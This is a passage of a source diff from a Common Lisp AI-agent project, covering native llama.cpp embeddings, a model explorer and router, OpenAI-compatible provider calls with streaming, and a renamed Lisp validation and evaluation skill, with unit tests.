(cffi:mem-aref tokens :int32 i))
|
||||
(setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'pos) :int32 i) i)
|
||||
(setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-seq-id) :int32 i) 1)
|
||||
(setf (cffi:mem-aref (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'seq-id) :pointer i) :int32 0) 0)
|
||||
(setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'logits) :int8 i) 1))
|
||||
(let ((enc (wrap-encode *native-context* batch)))
|
||||
(unless (zerop enc)
|
||||
(error "Native embedding: encode returned ~d" enc)))
|
||||
(let* ((pooling (get-pooling *native-context*))
|
||||
(eptr (if (= pooling 0)
|
||||
(embd-ith *native-context* (1- n-tok))
|
||||
(embd-seq *native-context* 0))))
|
||||
(dotimes (i n-embd)
|
||||
(setf (aref result i) (cffi:mem-aref eptr :float i))))
|
||||
(wrap-batch-free batch))
|
||||
result))
|
||||
(cffi:foreign-free tokens))))
|
||||
|
||||
(defun embedding-native-unload ()
|
||||
"Release native model and context memory."
|
||||
(when *native-context*
|
||||
(fc *native-context*)
|
||||
(setf *native-context* nil))
|
||||
(when *native-model*
|
||||
(fm *native-model*)
|
||||
(setf *native-model* nil *native-vocab* nil))
|
||||
(values))
|
||||
|
||||
(defun embedding-native-get-dim ()
|
||||
"Return embedding dimension of loaded native model (0 if not loaded)."
|
||||
(if *native-model*
|
||||
(ne *native-model*)
|
||||
0))
|
||||
|
||||
(defun vector-cosine-similarity (a b)
|
||||
"Cosine similarity between two simple-vectors of single-floats."
|
||||
(let ((dot 0.0d0) (anorm 0.0d0) (bnorm 0.0d0))
|
||||
(dotimes (i (length a))
|
||||
(let ((af (float (aref a i) 0.0d0))
|
||||
(bf (float (aref b i) 0.0d0)))
|
||||
(incf dot (* af bf))
|
||||
(incf anorm (* af af))
|
||||
(incf bnorm (* bf bf))))
|
||||
(if (or (zerop anorm) (zerop bnorm))
|
||||
0.0d0
|
||||
(/ dot (sqrt (* anorm bnorm))))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-embedding-native-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:embedding-native-suite))
|
||||
|
||||
(in-package :passepartout-embedding-native-tests)
|
||||
|
||||
(def-suite embedding-native-suite :description "Verification of Native Embedding Inference")
|
||||
(in-suite embedding-native-suite)
|
||||
|
||||
(test test-native-embedding-available
|
||||
"Contract v0.4.1: backend function exists and model file is present."
|
||||
(is (fboundp 'passepartout::embedding-backend-native))
|
||||
(is (uiop:file-exists-p passepartout::*native-model-path*)))
|
||||
|
||||
(test test-native-embedding-loads
|
||||
"Contract v0.4.1: model loads and produces a valid context."
|
||||
(finishes (passepartout::embedding-native-load-model)))
|
||||
|
||||
(test test-native-embedding-dimensions
|
||||
"Contract v0.4.1: embedding produces correct-dimensional vector."
|
||||
(let ((vec (passepartout::embedding-backend-native "test sentence")))
|
||||
(is (vectorp vec))
|
||||
(is (= (length vec) 768))
|
||||
(is (typep (aref vec 0) 'single-float))))
|
||||
|
||||
(test test-native-embedding-identical
|
||||
"Contract v0.4.1: identical texts produce identical embeddings."
|
||||
(let ((v1 (passepartout::embedding-backend-native "hello world"))
|
||||
(v2 (passepartout::embedding-backend-native "hello world")))
|
||||
(is (= (length v1) (length v2)))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
|
||||
(is (> sim 0.9999)))))
|
||||
|
||||
(test test-native-embedding-similar
|
||||
"Contract v0.4.1: semantically similar texts are closer than unrelated."
|
||||
(let ((v-auth (passepartout::embedding-backend-native "implement user login form"))
|
||||
(v-related (passepartout::embedding-backend-native "add password authentication"))
|
||||
(v-unrelated (passepartout::embedding-backend-native "banana fruit yellow")))
|
||||
(let ((sim-related (passepartout::vector-cosine-similarity v-auth v-related))
|
||||
(sim-unrelated (passepartout::vector-cosine-similarity v-auth v-unrelated)))
|
||||
(is (> sim-related 0.5))
|
||||
(is (> sim-related sim-unrelated)))))
|
||||
109
lisp/neuro-explorer.lisp
Normal file
109
lisp/neuro-explorer.lisp
Normal file
@@ -0,0 +1,109 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *model-cache* (make-hash-table :test 'equal)
|
||||
"Cache: provider keyword -> (timestamp . model-list)")
|
||||
|
||||
(defvar *model-cache-ttl* 300
|
||||
"Cache TTL in seconds (default 5 min)")
|
||||
|
||||
(defun model-explorer-fetch-openrouter ()
|
||||
"Query OpenRouter /api/v1/models and return parsed model list."
|
||||
(handler-case
|
||||
(let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20))
|
||||
(json (cl-json:decode-json-from-string raw))
|
||||
(data (cdr (assoc :data json))))
|
||||
(mapcar (lambda (m)
|
||||
(let ((pricing (cdr (assoc :pricing m))))
|
||||
(list :id (cdr (assoc :id m))
|
||||
:name (cdr (assoc :name m))
|
||||
:context (cdr (assoc :context_length m))
|
||||
:free (and pricing
|
||||
(string= "0" (cdr (assoc :prompt pricing)))
|
||||
(string= "0" (cdr (assoc :completion pricing)))))))
|
||||
data))
|
||||
(error (c)
|
||||
(log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c)
|
||||
nil)))
|
||||
|
||||
(defun model-explorer-fetch (provider)
|
||||
"Fetch available models for PROVIDER. Returns list of (:id :name :context :free) plists."
|
||||
(let ((cached (gethash provider *model-cache*)))
|
||||
(when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*))
|
||||
(return-from model-explorer-fetch (cdr cached))))
|
||||
(let ((models (case provider
|
||||
(:openrouter (model-explorer-fetch-openrouter))
|
||||
(t nil))))
|
||||
(when models
|
||||
(setf (gethash provider *model-cache*)
|
||||
(cons (get-universal-time) models)))
|
||||
models))
|
||||
|
||||
(defun model-explorer-list-free ()
|
||||
"Return all free models from cache or fetch."
|
||||
(remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter)))
|
||||
|
||||
(defun model-explorer-recommend (slot)
|
||||
"Return recommended models for SLOT (:code, :chat, :plan, :background)."
|
||||
(case slot
|
||||
(:code
|
||||
'((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active")
|
||||
(:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent")
|
||||
(:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding")))
|
||||
(:plan
|
||||
'((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning")
|
||||
(:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning")
|
||||
(:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context")))
|
||||
(:chat
|
||||
'((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist")
|
||||
(:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context")
|
||||
(:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation")))
|
||||
(:background
|
||||
'((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient")
|
||||
(:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready")))
|
||||
(t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback")))))
|
||||
|
||||
(defvar *slot-descriptions*
|
||||
'((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).")
|
||||
(:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).")
|
||||
(:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).")
|
||||
(:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready).")))
|
||||
|
||||
;; REPL-verified: 2026-05-04
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-neuro-explorer-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:model-explorer-suite))
|
||||
|
||||
(in-package :passepartout-neuro-explorer-tests)
|
||||
|
||||
(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill")
|
||||
|
||||
(fiveam:in-suite model-explorer-suite)
|
||||
|
||||
(fiveam:test model-explorer-recommend-slots
|
||||
"Contract 1: recommend returns models for all standard slots."
|
||||
(dolist (slot '(:code :chat :plan :background))
|
||||
(let ((recs (passepartout::model-explorer-recommend slot)))
|
||||
(fiveam:is (listp recs))
|
||||
(fiveam:is (>= (length recs) 1)))))
|
||||
|
||||
(fiveam:test model-explorer-recommend-format
|
||||
"Contract 1: each recommendation has :id and :name."
|
||||
(dolist (rec (passepartout::model-explorer-recommend :chat))
|
||||
(fiveam:is (getf rec :id))
|
||||
(fiveam:is (getf rec :name))))
|
||||
|
||||
(fiveam:test model-explorer-recommend-unknown-slot
|
||||
"Contract 1: unknown slot returns fallback list."
|
||||
(let ((recs (passepartout::model-explorer-recommend :unknown)))
|
||||
(fiveam:is (listp recs))
|
||||
(fiveam:is (>= (length recs) 1))))
|
||||
|
||||
(fiveam:test model-explorer-fetch-openrouter-count
|
||||
"Contract 2: OpenRouter API returns at least 300 models."
|
||||
(let ((models (passepartout::model-explorer-fetch :openrouter)))
|
||||
(if models
|
||||
(fiveam:is (>= (length models) 300))
|
||||
(fiveam:skip "API unreachable"))))
|
||||
244
lisp/neuro-provider.lisp
Normal file
244
lisp/neuro-provider.lisp
Normal file
@@ -0,0 +1,244 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defparameter *provider-configs*
|
||||
'((:local . (:base-url nil :key-env nil :url-env "LOCAL_BASE_URL" :default-model "llama3"))
|
||||
(:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto"))
|
||||
(:openai . (:base-url "https://api.openai.com/v1" :key-env "OPENAI_API_KEY" :default-model "gpt-4o-mini"))
|
||||
(:anthropic . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY" :default-model "claude-3-5-sonnet-20241022"))
|
||||
(:groq . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY" :default-model "llama-3.1-70b-versatile"))
|
||||
(:gemini . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash"))
|
||||
(:deepseek . (:base-url "https://api.deepseek.com/v1" :key-env "DEEPSEEK_API_KEY" :default-model "deepseek-chat"))
|
||||
(:nvidia . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct"))))
|
||||
|
||||
(defun provider-config (provider)
|
||||
"Returns the configuration plist for a provider keyword."
|
||||
(cdr (assoc provider *provider-configs*)))
|
||||
|
||||
(defun provider-available-p (provider)
|
||||
"Checks if a provider is configured. Checks API key or URL env vars."
|
||||
(let* ((config (provider-config provider))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(base-url (getf config :base-url)))
|
||||
(cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
|
||||
(url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0))))
|
||||
(base-url t))))
|
||||
|
||||
(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter) tools)
|
||||
"Executes a request against any OpenAI-compatible API endpoint.
|
||||
When :tools is provided, includes function-calling tool definitions in the request."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(default-model (getf config :default-model))
|
||||
(api-key (when key-env (uiop:getenv key-env)))
|
||||
(model-id (or model default-model))
|
||||
(url (if url-env
|
||||
(let ((host (uiop:getenv url-env)))
|
||||
(if host
|
||||
(format nil "http://~a/v1/chat/completions" host)
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(timeout (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT")))
|
||||
30))
|
||||
(headers `(("Content-Type" . "application/json")
|
||||
,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key))))
|
||||
,@(when (eq provider :openrouter)
|
||||
`(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
|
||||
("X-Title" . "Passepartout")))))
|
||||
(body (let ((base `((model . ,model-id)
|
||||
(messages . (( (role . "system") (content . ,system-prompt) )
|
||||
( (role . "user") (content . ,prompt) ))))))
|
||||
(if tools
|
||||
(append base
|
||||
`((tools . ,(loop for tool in tools
|
||||
collect (list (cons :|type| "function")
|
||||
(cons :|function| (loop for (k v) on tool by #'cddr
|
||||
collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
|
||||
(:|tool_choice| . "auto")))
|
||||
base)))
|
||||
(body-json (cl-json:encode-json-to-string body)))
|
||||
(handler-case
|
||||
(let* ((response (dex:post url :headers headers :content body-json
|
||||
:connect-timeout (min 5 timeout)
|
||||
:read-timeout (max 10 (- timeout 5))))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(choices (cdr (assoc :choices json)))
|
||||
(first-choice (car choices))
|
||||
(message (cdr (assoc :message first-choice)))
|
||||
(tool-calls (cdr (assoc :|tool_calls| message)))
|
||||
(content (cdr (assoc :content message))))
|
||||
(cond
|
||||
(tool-calls
|
||||
(list :status :success
|
||||
:tool-calls
|
||||
(loop for tc in tool-calls
|
||||
for fun = (cdr (assoc :|function| tc))
|
||||
for args-str = (cdr (assoc :|arguments| fun))
|
||||
for args = (when args-str (cl-json:decode-json-from-string args-str))
|
||||
collect (list :name (cdr (assoc :|name| fun))
|
||||
:arguments args))))
|
||||
(content
|
||||
(list :status :success :content content))
|
||||
(t
|
||||
(list :status :error :message (format nil "~a: No content" provider)))))
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))))
|
||||
|
||||
(defun provider-register-all ()
|
||||
"Scans environment variables and registers all available LLM backends."
|
||||
(dolist (entry *provider-configs*)
|
||||
(let ((provider (car entry)))
|
||||
(when (provider-available-p provider)
|
||||
(log-message "LLM BACKEND: Registering provider ~a" provider)
|
||||
(register-probabilistic-backend provider
|
||||
(lambda (prompt system-prompt &key model tools)
|
||||
(provider-openai-request prompt system-prompt :model model :provider provider :tools tools)))))))
|
||||
|
||||
(defun provider-cascade-initialize ()
|
||||
"Reads PROVIDER_CASCADE from env and sets *provider-cascade*."
|
||||
(let ((cascade-str (uiop:getenv "PROVIDER_CASCADE")))
|
||||
(if cascade-str
|
||||
(setf *provider-cascade*
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
|
||||
(uiop:split-string cascade-str :separator '(#\,))))
|
||||
(setf *provider-cascade* (mapcar #'car (remove-if (lambda (e)
|
||||
(member (car e) '(:local)))
|
||||
*provider-configs*))))))
|
||||
|
||||
(defun test-provider-connection (provider &optional api-key)
|
||||
"Test a provider API key by hitting its models endpoint.
|
||||
Returns (:ok) on success, (:fail reason) on failure.
|
||||
If API-KEY is nil, reads from environment."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(key (or api-key (when key-env (uiop:getenv key-env)))))
|
||||
(handler-case
|
||||
(let ((url (if url-env
|
||||
(let ((host (or (uiop:getenv url-env) "")))
|
||||
(format nil "http://~a/api/tags" host))
|
||||
(format nil "~a/models" (or base-url "")))))
|
||||
(if key-env
|
||||
(progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key)))
|
||||
:connect-timeout 5 :read-timeout 10)
|
||||
'(:ok))
|
||||
(if url-env
|
||||
(progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok))
|
||||
'(:fail "No URL source for this provider"))))
|
||||
(error (c) `(:fail ,(format nil "~a" c))))))
|
||||
|
||||
(provider-register-all)
|
||||
(provider-cascade-initialize)
|
||||
|
||||
(defskill :passepartout-neuro-provider
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(defun cascade-stream (prompt system-prompt callback)
|
||||
"Streaming cascade: calls provider-openai-stream on the first available backend.
|
||||
Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
|
||||
(dolist (backend *provider-cascade*)
|
||||
(when (gethash backend *probabilistic-backends*)
|
||||
(let ((result (provider-openai-stream prompt system-prompt callback
|
||||
:provider backend)))
|
||||
(when (eq (getf result :status) :success)
|
||||
(return cascade-stream))))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun parse-sse-line (line)
|
||||
"Parse an SSE line. Returns data string, :done for [DONE], nil otherwise."
|
||||
(cond
|
||||
((or (null line) (string= line "")) nil)
|
||||
((char= (char line 0) #\:) nil)
|
||||
((and (>= (length line) 6) (string-equal (subseq line 0 6) "data: "))
|
||||
(let ((content (subseq line 6)))
|
||||
(if (string= content "[DONE]")
|
||||
:done
|
||||
content)))
|
||||
(t nil)))
|
||||
|
||||
(defvar *stream-cancel* nil
|
||||
"When T, the streaming SSE loop exits early.")
|
||||
|
||||
(defun provider-openai-stream (prompt system-prompt callback &key model (provider :openrouter) tools)
|
||||
"Streaming OpenAI-compatible request. Calls CALLBACK with each delta, then ''."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(default-model (getf config :default-model))
|
||||
(api-key (when key-env (uiop:getenv key-env)))
|
||||
(model-id (or model default-model))
|
||||
(url (if url-env
|
||||
(let ((host (uiop:getenv url-env)))
|
||||
(if host
|
||||
(format nil "http://~a/v1/chat/completions" host)
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(timeout (or (ignore-errors (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) 30))
|
||||
(req-headers (list (cons "Content-Type" "application/json")))
|
||||
(base `((model . ,model-id)
|
||||
(messages . (( (role . "system") (content . ,system-prompt) )
|
||||
( (role . "user") (content . ,prompt) )))
|
||||
(stream . t))))
|
||||
(when api-key
|
||||
(push (cons "Authorization" (format nil "Bearer ~a" api-key)) req-headers))
|
||||
(when (eq provider :openrouter)
|
||||
(setf req-headers
|
||||
(append req-headers
|
||||
`(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
|
||||
("X-Title" . "Passepartout")))))
|
||||
(let ((body (if tools
|
||||
(append base
|
||||
`((tools . ,(loop for tool in tools
|
||||
collect (list (cons :|type| "function")
|
||||
(cons :|function|
|
||||
(loop for (k v) on tool by #'cddr
|
||||
collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
|
||||
(:|tool_choice| . "auto")))
|
||||
base)))
|
||||
(handler-case
|
||||
(let* ((body-json (cl-json:encode-json-to-string body))
|
||||
(stall-seconds 30)
|
||||
(s (dex:post url :headers req-headers :content body-json
|
||||
:connect-timeout (min 5 timeout)
|
||||
:read-timeout stall-seconds
|
||||
:want-stream t)))
|
||||
;; v0.7.1: track stall timer — reset on each successful chunk
|
||||
(let ((last-chunk-time (get-universal-time)))
|
||||
(loop for raw = (handler-case (read-line s nil nil)
|
||||
(error (c)
|
||||
(declare (ignore c))
|
||||
nil))
|
||||
while raw
|
||||
do (when *stream-cancel* ; v0.7.1: cancel check
|
||||
(setf *stream-cancel* nil)
|
||||
(funcall callback " [cancelled]")
|
||||
(return))
|
||||
(let ((parsed (parse-sse-line raw)))
|
||||
(cond
|
||||
((null parsed))
|
||||
((eq parsed :done) (return))
|
||||
(t (handler-case
|
||||
(let* ((json (cl-json:decode-json-from-string parsed))
|
||||
(choices (cdr (assoc :choices json)))
|
||||
(choice (car choices))
|
||||
(delta (cdr (assoc :delta choice)))
|
||||
(content (cdr (assoc :content delta))))
|
||||
(when content
|
||||
(funcall callback content)
|
||||
(setf last-chunk-time (get-universal-time))))
|
||||
(error ())))))
|
||||
(when (> (- (get-universal-time) last-chunk-time) stall-seconds)
|
||||
(funcall callback "[Response stalled — timed out at 30s]")
|
||||
(return))))
|
||||
(funcall callback "")
|
||||
(close s)
|
||||
(list :status :success))
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
|
||||
90
lisp/neuro-router.lisp
Normal file
90
lisp/neuro-router.lisp
Normal file
@@ -0,0 +1,90 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *model-cascade-code* nil
|
||||
"Cascade for :code tasks: ((:ollama . \"model\") ...)")
|
||||
|
||||
(defvar *model-cascade-plan* nil
|
||||
"Cascade for :plan tasks.")
|
||||
|
||||
(defvar *model-cascade-chat* nil
|
||||
"Cascade for :chat tasks.")
|
||||
|
||||
(defvar *model-cascade-background* nil
|
||||
"Cascade for background tasks (heartbeat, delegation).")
|
||||
|
||||
(defvar *local-backends* '(:ollama :llama-cpp)
|
||||
"Backend keywords considered local (privacy-safe).")
|
||||
|
||||
(defun model-classify-complexity (text)
|
||||
"Classify TEXT into :code, :plan, or :chat."
|
||||
(let ((lower (string-downcase text)))
|
||||
(cond
|
||||
((or (search "defun" lower) (search "defmacro" lower)
|
||||
(search "write" lower) (search "refactor" lower)
|
||||
(search "fix " lower) (search "implement" lower)
|
||||
(search "code" lower)
|
||||
(search "#+begin_src" lower))
|
||||
:code)
|
||||
((or (search "plan" lower) (search "roadmap" lower)
|
||||
(search "strategy" lower) (search "design" lower)
|
||||
(search "architecture" lower))
|
||||
:plan)
|
||||
(t :chat))))
|
||||
|
||||
(defun model-cascade-find (cascade backend)
|
||||
"Find first (PROVIDER . MODEL) in CASCADE matching BACKEND."
|
||||
(assoc backend cascade
|
||||
:test (lambda (a b) (string-equal (string a) (string b)))))
|
||||
|
||||
(defun model-select (backend context)
|
||||
"Select model for BACKEND given CONTEXT signal.
|
||||
Returns model name or :skip."
|
||||
(let* ((payload (getf context :payload))
|
||||
(text (or (getf payload :text) ""))
|
||||
(sensor (getf payload :sensor))
|
||||
(has-personal (and (boundp '*dispatcher-privacy-tags*)
|
||||
(some (lambda (tag) (search tag text))
|
||||
(symbol-value '*dispatcher-privacy-tags*))))
|
||||
(is-local (member backend *local-backends*)))
|
||||
;; Privacy: skip cloud backends for personal content
|
||||
(when (and has-personal (not is-local))
|
||||
(log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend)
|
||||
(return-from model-select :skip))
|
||||
;; Quadrant: background tasks use background cascade
|
||||
(if (member sensor '(:heartbeat :delegation :tool-output :loop-error))
|
||||
(let ((entry (car (or *model-cascade-background*
|
||||
'((:ollama . "phi-2"))))))
|
||||
(cdr entry))
|
||||
;; Foreground: classify complexity, use slot cascade
|
||||
(let* ((slot (model-classify-complexity text))
|
||||
(cascade (case slot
|
||||
(:code *model-cascade-code*)
|
||||
(:plan *model-cascade-plan*)
|
||||
(t *model-cascade-chat*)))
|
||||
(entry (model-cascade-find
|
||||
(or cascade '((:ollama . "qwen2.5:14b"))) backend)))
|
||||
(if entry (cdr entry) nil)))))
|
||||
|
||||
(defun model-router-init ()
|
||||
"Read env vars and wire model-select into *model-selector*."
|
||||
(flet ((parse-cascade (str)
|
||||
(when (and str (> (length str) 0))
|
||||
(let ((*read-eval* nil))
|
||||
(read-from-string str)))))
|
||||
(setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE"))
|
||||
*model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN"))
|
||||
*model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT"))
|
||||
*model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND"))
|
||||
*local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS")))
|
||||
(if env
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
|
||||
(uiop:split-string env :separator '(#\,)))
|
||||
'(:ollama :llama-cpp)))))
|
||||
(setf *model-selector* #'model-select)
|
||||
(log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*))
|
||||
|
||||
(defskill :passepartout-model-router
|
||||
:priority 250
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(model-router-init)
|
||||
@@ -1,16 +1,6 @@
|
||||
#+TITLE: SKILL: Utils Lisp (org-skill-utils-lisp.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:utils:lisp:validation:evaluation:
|
||||
#+PROPERTY: header-args:lisp :tangle %%SKILLS_DIR%%/org-skill-utils-lisp.lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
* Overview
|
||||
The *Utils Lisp* skill provides advanced structural validation, sandboxed evaluation, and formatting for Common Lisp code.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Structural Validation
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-check-structural (code)
|
||||
(defun lisp-structural-check (code)
|
||||
"Checks if parentheses are balanced and the code is readable."
|
||||
(handler-case
|
||||
(let ((*read-eval* nil))
|
||||
@@ -19,50 +9,38 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
(values t nil))
|
||||
(error (c)
|
||||
(values nil (format nil "Reader Error: ~a" c)))))
|
||||
#+end_src
|
||||
|
||||
** Syntactic Validation
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-check-syntactic (code)
|
||||
(defun lisp-syntactic-check (code)
|
||||
"Checks for valid Lisp syntax beyond just balanced parentheses."
|
||||
(utils-lisp-check-structural code))
|
||||
#+end_src
|
||||
(lisp-structural-check code))
|
||||
|
||||
** Semantic Validation (Safety)
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-check-semantic (code)
|
||||
(defun lisp-semantic-check (code)
|
||||
"Checks for potentially unsafe forms."
|
||||
(let ((unsafe-tokens '("eval" "load" "uiop:run-program" "sb-ext:run-program" "cl-user::eval")))
|
||||
(loop for token in unsafe-tokens
|
||||
when (search token (string-downcase code))
|
||||
do (return-from utils-lisp-check-semantic (values nil (format nil "Unsafe form detected: ~a" token))))
|
||||
do (return-from lisp-semantic-check (values nil (format nil "Unsafe form detected: ~a" token))))
|
||||
(values t nil)))
|
||||
#+end_src
|
||||
|
||||
** Unified Validation Gate
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-validate (code &key (strict t))
|
||||
(defun lisp-validate (code &key (strict t))
|
||||
"Unified validation gate for Lisp code."
|
||||
(multiple-value-bind (struct-ok struct-err) (utils-lisp-check-structural code)
|
||||
(multiple-value-bind (struct-ok struct-err) (lisp-structural-check code)
|
||||
(unless struct-ok
|
||||
(return-from utils-lisp-validate (list :status :error :reason struct-err)))
|
||||
(return-from lisp-validate (list :status :error :reason struct-err)))
|
||||
(when strict
|
||||
(multiple-value-bind (sem-ok sem-err) (utils-lisp-check-semantic code)
|
||||
(multiple-value-bind (sem-ok sem-err) (lisp-semantic-check code)
|
||||
(unless sem-ok
|
||||
(return-from utils-lisp-validate (list :status :error :reason sem-err)))))
|
||||
(return-from lisp-validate (list :status :error :reason sem-err)))))
|
||||
(list :status :success)))
|
||||
#+end_src
|
||||
|
||||
** Evaluation (REPL)
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-eval (code-string &key (package :opencortex))
|
||||
(defun lisp-eval (code-string &key (package :passepartout))
|
||||
"Evaluates a Lisp string and captures its output/results."
|
||||
(let ((out (make-string-output-stream))
|
||||
(err (make-string-output-stream)))
|
||||
(handler-case
|
||||
(let* ((*standard-output* out)
|
||||
(*error-output* err)
|
||||
(*package* (or (find-package package) (find-package :opencortex)))
|
||||
(*package* (or (find-package package) (find-package :passepartout)))
|
||||
(result (with-input-from-string (s code-string)
|
||||
(let ((last-val nil))
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)
|
||||
@@ -77,11 +55,8 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
:reason (format nil "~a" c)
|
||||
:output (get-output-stream-string out)
|
||||
:error (get-output-stream-string err))))))
|
||||
#+end_src
|
||||
|
||||
** Formatting (Emacs Batch)
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-format (code-string)
|
||||
(defun lisp-format (code-string)
|
||||
"Attempts to format Lisp code using Emacs batch mode if available."
|
||||
(handler-case
|
||||
(let ((tmp-file "/tmp/oc-format-temp.lisp"))
|
||||
@@ -95,16 +70,13 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
(if (= code 0)
|
||||
out
|
||||
(progn
|
||||
(harness-log "FORMAT ERROR: ~a" err)
|
||||
(log-message "FORMAT ERROR: ~a" err)
|
||||
code-string))))
|
||||
(error (c)
|
||||
